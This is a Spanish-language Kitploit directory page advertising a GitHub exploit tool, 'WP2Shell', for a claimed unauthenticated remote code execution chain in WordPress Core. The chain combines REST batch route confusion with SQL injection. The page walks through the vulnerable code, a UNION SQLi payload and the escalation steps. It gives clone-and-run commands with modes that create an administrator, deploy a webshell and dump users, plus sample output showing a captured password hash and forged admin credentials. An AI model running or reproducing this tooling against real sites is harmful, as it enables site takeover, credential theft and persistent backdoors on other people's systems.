Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-63030 — RCE de WordPress Core previo a autenticación mediante confusión de rutas de lote REST + SQLi (CVE-2026-63030 + CVE-2026-60137) | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-63030
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubshinthink/cve-2026-63030

CVE-2026-63030

RCE de WordPress Core previo a autenticación mediante confusión de rutas de lote REST + SQLi (CVE-2026-63030 + CVE-2026-60137)

Ver Repositorio
4hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-63030 + CVE-2026-60137 — WP2Shell

RCE sin autenticación previa en WordPress Core mediante confusión de rutas por lotes REST + SQLi


Descripción general

CVE-2026-63030 (CVSS 9.8) y CVE-2026-60137 (CVSS 9.1) forman una cadena crítica de ejecución remota de código sin autenticación previa en WordPress Core. Las vulnerabilidades afectan a todas las instalaciones predeterminadas de WordPress en las versiones y .

6.9.0–6.9.4
7.0.0–7.0.1

La cadena fue descubierta de forma autónoma por GPT-5.6 Sol Ultra (OpenAI) en poco más de 10 horas con un coste de ~25 $ — una clase de vulnerabilidad valorada en 500 000 $ en los mercados de brokers de exploits.

Un atacante no autenticado logra RCE mediante:

  1. Confusión de rutas por lotes REST (CVE-2026-63030) — desincronizando los arrays internos de WordPress entre handlers y solicitudes
  2. Inyección SQL mediante author__not_in (CVE-2026-60137) — omitiendo la sanitización absint() con una cadena escalar
  3. Envenenamiento de caché mediante UNION SELECT — forjando 7 objetos falsos WP_Post en memoria
  4. Persistencia vía oEmbed — convirtiendo SQLi de solo lectura en escrituras reales en la base de datos
  5. Secuestro de customize_changeset — tomando prestada temporalmente la identidad de un administrador
  6. Reentrada en el hook parse_request — reproduciendo la API REST con privilegios elevados
  7. POST /wp/v2/users como admin — creando una nueva cuenta de administrador

Instalaciones activas: más de 472 millones (43 % de todos los sitios web)
Descubierto por: GPT-5.6 Sol Ultra a través de Adam Kues (Searchlight Cyber), julio de 2026
PoC de la cadena: Mustafa Can İPEKÇİ (nukedx)
Parche: WordPress 6.9.5 / 7.0.2 / 6.8.6 (17 de julio de 2026)

Versiones afectadas

RamaVulnerableCorregida
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2
6.8.xSolo SQLi (CVE-2026-60137)6.8.6

Mecanismo de la vulnerabilidad

Causa raíz 1: Confusión de rutas por lotes (CVE-2026-63030)

El procesador de lotes REST de WordPress (serve_batch_request_v1) mantiene dos arrays: $validation[] (resultados de validación) y $matches[] (handlers de rutas). Cuando wp_parse_url() falla en una ruta malformada (///), se inserta un WP_Error en la cadena de validación pero no en la cadena de coincidencia de rutas:

root@kitploit:~
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;  // ← SKIPS $matches[] — desync by one index
}

El exploit utiliza llamadas anidadas (recursivas) de batch para eludir tanto las restricciones de método como la sanitización de parámetros.

Causa raíz 2: Inyección SQL mediante author__not_in (CVE-2026-60137)

WP_Query solo aplica la sanitización absint() dentro de la rama is_array(). Cuando author__not_in llega como una cadena escalar, la sanitización se omite por completo:

root@kitploit:~
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // ONLY if array
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // scalar passes raw
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // SQL INJECTION
}

Payload: 0) UNION ALL SELECT ...-- - cierra la lista NOT IN y añade SQL arbitrario.

Cadena de escalada

root@kitploit:~
[1] Desincronización del batch → omite autenticación + comprobaciones de parámetros
[2] UNION SELECT → forja 7 objetos falsos WP_Post en la caché
    ├─ Post desencadenante  — shortcode [embed]
    ├─ Post de changeset    — post_type=customize_changeset, post_status=future
    ├─ Partner externo      — post_parent=changeset (Bucle 1)
    ├─ Destino de oEmbed    — respaldo de caché
    ├─ Elemento de menú     — post_type=nav_menu_item
    ├─ Post de solicitud    — post_type=request, post_status=parse (Bucle 2)
    └─ Partner interno      — post_parent=request
[3] Procesamiento oEmbed → wp_update_post() → detección de ciclos de jerarquía
[4] Corrección del Bucle 1 → escribe el changeset en la BD sin sobrescribir post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Corrección del Bucle 2 → escribe el post de solicitud → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → el batch se reproduce como ADMIN
[8] POST /wp/v2/users → se crea un administrador

Requisitos previos para el RCE completo

RequisitoPor qué¿Predeterminado?
Al menos 1 post publicadoSiembra la caché de oEmbed con URLs de loopback✅ "Hello World"
Sin caché de objetos persistenteLas filas de UNION no deben descartarse por split_the_query✅ Caché de archivos
API REST accesibleLa reentrada vía parse_request necesita el servidor REST✅
Escritura directa en el sistema de archivosLa subida de plugins requiere FS_METHOD=direct✅ En la mayoría de hosts

Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt  # or: nothing — stdlib only

Uso

root@kitploit:~
# Cadena completa — crear cuenta de administrador (sin autenticación previa)
python3 cve_2026_63030.py --url https://target.com

# Solo comprobación (no destructivo — verificar vulnerabilidad)
python3 cve_2026_63030.py --url https://target.com --check

# Cadena completa + implementar webshell RCE
python3 cve_2026_63030.py --url https://target.com --rce id

# Volcar todos los usuarios mediante extracción UNION
python3 cve_2026_63030.py --url https://target.com --dump-users

Salida

root@kitploit:~
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  https://target.com
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi — database reconnaissance
  [+] Database version  : 8.0.46
  [+] Database user     : wp_user@localhost
  [+] Database name     : wordpress_db
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [6, 7, 8]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_a1b2c3d4  password: Wp2!e5f6g7h8i9j0

+======================================================================+
|  EXPLOITATION COMPLETE                                               |
+======================================================================+
  Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
  Login : https://target.com/wp-login.php

Archivos

ArchivoPropósito
cve_2026_63030.pyExploit de objetivo único (sin dependencias)
requirements.txtDependencias de Python (no se requiere ninguna)

Referencias

  • SLCyber — Informe del descubrimiento con GPT-5.6 Sol
  • WordPress.org — Publicación de seguridad
  • Wiz — Explotación en estado salvaje
  • Tenable — FAQ

Aviso legal

Solo para pruebas de seguridad autorizadas e investigación educativa. Los autores no asumen ninguna responsabilidad por el mal uso.

Descargar herramienta